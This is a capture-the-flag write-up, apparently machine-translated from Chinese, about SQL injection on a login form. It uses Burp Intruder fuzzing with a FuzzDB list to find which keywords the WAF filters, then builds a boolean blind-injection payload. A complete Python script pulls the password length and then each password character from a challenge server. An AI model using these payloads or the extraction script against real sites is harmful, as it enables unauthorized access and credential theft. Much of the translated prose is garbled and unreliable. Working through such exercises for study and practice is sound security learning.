Use Burpsite Fuzz to achieve SQL injections

I’m also new. I can skip this one.
I’ve taken a question from my classmates, and now that I have recently learned how to use it for practice, let me record it.

0x01 Pre-injection analysis

It’s a typical login box SQL injection.

图片描述

There’s a hint on the code.

图片描述

First, there’s a pre-injection attempt to see if there’s anything wrong or if there’s waf:

Normal input, two scenarios:

  1. Username correct, password error shownpassword error

    图片描述

  2. Username error, show noneno such user!

    图片描述

A guess is that the authentication of user names and the authentication password are carried out in a step-by-step manner, as follows:

select uname from user where uname='xxx'
select uname,pwd from user where uname='xxx' and pwd='xxx'

There’s an injection.naiveIt’s got to be waf:

图片描述

A simple test of waf, found filtering.or and union select from limit 以及空格,注释符Mom was tight and then he didn’t want to pass the manual test, so he used the burpsuete for the Fuzz test.

0x02 Burpsuite Fuzzing

Burpsuete Fuzzing is mainly through.Burpsuite Intruder模块It’s like a gun. Put the bullet through specific settings.(payload)Aim at the target.(target-site)。

But where did the bullet come from? We’ll do some preparatory work before that:

Fuzzdb: https://github.com/fuzzdb-pro…

This is a payload library of fuzz tests, with lots of payloads, very practical and we use it for this sql injection.

We can use this Payload. /attack/sql-injection/detect/xplatform.txt

图片描述

Then open the Burpsuete, so that you can first take an agent to a normal request package and then go to the Intruder module as follows:

  1. Select options tab, select the value part of unameadmin, and then click on the right.add§, the value of uname will be marked as a payload loading position and the rest will not need to be marked.

    图片描述

  2. Select the payloads tab, click on the button shown in the chart to load what was just mentionedxplatform.txtSo the payload is loaded in.

    图片描述

  3. Select the options tab, setting out the number of lines requested, the number of retries, the time elapsed and so on.

    图片描述

  4. Last click on top menuIntruder -> Start attack Start!

Waiting for the completion of fuzz, the results were as follows:

图片描述

Depending on the length of the return package, different situations can be identified: 202 yespassword error200 is…no such user!There’s 189 more.naive。

It is therefore possible to identify areas where the 42nd request package has been returned with the correct user name, proving that the waf was bypassed.

If there is no payload available, the 189 package can be viewed again to see which fields were dropped by Ban and thus find those that could be used.

Available:# || && , ascii() left() right() length()

Cannot use:空格 -- or and union select from limit mid() substr() substring()

Construct Payload as follows, xx is payload and returns when xx is truepassword error, and xx returns on a false dateno such userAnd that’s what constitutes a bool injection.

uname='||xxx||'&pwd=123   

The next step would be to start the injection.

0x03 Automatic injection of Brinder Injection

From this point forward, we’ll blow up through the bool blind.pwdFields, scripts running.

  1. It’s through.length()AccesspwdField Length

    for i in xrange(1,127):
        postdata = {
            'uname':"'||length(pwd)="+str(i)+"||'",
            'pwd':'123'
        }
        print i,postdata
        r = s.post(url=url,headers=header,data=postdata)
        if 'password' in r.text:
            print "get length!"
            return 

    Finally acquiredlength(pwd)=30

    When you can’t handle it, think about the Hint hint. Pass.length(uname)=5Check your payload, too.
  2. Because…mid() substr()It’s a ban. We can only pass.left() right()Run a string cut, and then blow up 30-bit one by one.pwd

    pwd = ''
    for i in xrange(0,30):
        for c in xrange(0x20,0x7f):
            postdata = {
                'uname':"'||(ascii(right(left(pwd,"+str(i+1)+"),1))="+str(c)+")||'",
                'pwd':'123'
            }
            r = s.post(url=url,headers=header,data=postdata)
            if 'password' in r.text:
                pwd += chr(c)
                print i,pwd
                continue

    图片描述

    Finally, 30-bit passwords. Log in, getflag.

    PS: No multiple threads, slow rate of blast and then consider improvements.

    PPS: This is followed by a summary of the use of various types of functions, such asmid()=substr()=right(left())

    The complete script reads as follows:

    #coding=utf-8
    import requests 
    
    s = requests.session()
    s.keep_alive = False
    
    url = 'http://23.236.125.55:1000/34fb69d7b4467e33c71b0153e62f7e2b/'
    
    header = {
    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:65.0) Gecko/20100101 Firefox/65.0',
    'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
    'Accept-Language': 'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2',
    'Accept-Encoding': 'gzip, deflate',
    'Referer': 'http://23.236.125.55:1000/34fb69d7b4467e33c71b0153e62f7e2b/',
    'Content-Type': 'application/x-www-form-urlencoded'
    }
    
    def get_length():
        for i in xrange(1,127):
            postdata = {
                'uname':"'||length(pwd)="+str(i)+"||'",
                'pwd':'123'
            }
            print i,postdata
            r = s.post(url=url,headers=header,data=postdata)
            if 'password' in r.text:
                print "get length!"
                return 
    
    def get_pwd_char():
        pwd = ''
        for i in xrange(0,30):
            for c in xrange(0x20,0x7f):
                postdata = {
                    'uname':"'||(ascii(right(left(pwd,"+str(i+1)+"),1))="+str(c)+")||'",
                    'pwd':'123'
                }
                r = s.post(url=url,headers=header,data=postdata)
                if 'password' in r.text:
                    pwd += chr(c)
                    print i,pwd
                    continue
    
    if __name__ == '__main__':
        get_length() #length is 30
        get_pwd_char() 

0x04, summarise.

  • The use of burpsuete for fuzz testing has greatly improved test efficiency and rapid positioning of injection points, which are also more practical in the usual competitions, with the key to finding a useful fuzz payload.
  • Flexiblely use the various sql functions to find a function that is not constructed by Ban and which will be destroyed, if another type of waf is encountered.
They say there’s a similar problem with bugkuCTF.SQL Injecting 2Let’s make a difference.
Reading 4.2k

未经允许不得转载:萌萌Apprentissage » Use Burpsite Fuzz to achieve SQL injections

Like (0) 打赏

Comments 0

Protected with IP Blacklist CloudIP Blacklist Cloud
  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

微信扫一扫打赏

//下一个脚本特效
//下一个脚本